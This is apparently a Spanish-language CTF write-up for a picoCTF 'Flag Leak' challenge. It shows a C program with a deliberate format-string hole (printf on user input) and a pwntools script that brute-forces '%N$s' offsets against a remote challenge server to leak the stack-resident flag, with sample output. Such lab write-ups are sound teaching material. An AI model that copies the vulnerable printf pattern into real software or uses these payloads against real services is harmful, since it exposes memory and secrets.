Flag Leak


July 5, 20252 minutes

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

En el código se puede ver como se guarda la flag en el stack

char flag[BUFSIZE];

Y como hay una vulnerabilidad de format strings

scanf("%127s", story);
printf("Here's a story - \n");
printf(story);

Como la flag está en el stack se puede intentar leer con %s

#!/usr/bin/env python3

from pwn import *

HOST = "saturn.picoctf.net"
PORT = 62646

exe = ELF("./vuln")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'warn'

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r


def main():
    r = conn()
    for i in range(10, 30):
        try:
            r = conn()
            payload = f"%{i}$s"
            r.sendlineafter('you one >>', payload)
            output = r.recvline()
            output = r.recvline()
            print(f"{i}: {output}")
        except:
            pass


    r.interactive()


if __name__ == "__main__":
    main()
$ python3 solve.py LOCAL
....
19: b'\n'
20: b'PICO{TEST_FLAG}\n'
21: b'\xcc{\xf9\xf7\n'
....

Podemos ver la flag creada previamente en local, pero al consultar la posición 20 en remoto no aparece la flag.

$ nc saturn.picoctf.net 54766
Tell me a story and then I'll tell you one >> %20$s
Here's a story - 
����

Lo que se puede hacer ahora es probar de bruteforcear en remoto un rango cercano a 20, como por ejemplo 10-30

$ python3 solve.py

....
23: b'\n'
24: b'CTF{L34k1ng_Fl4g_0ff_St4ck_999e2824}\n'
25: b'\xf0\xda+\xf3\n'
....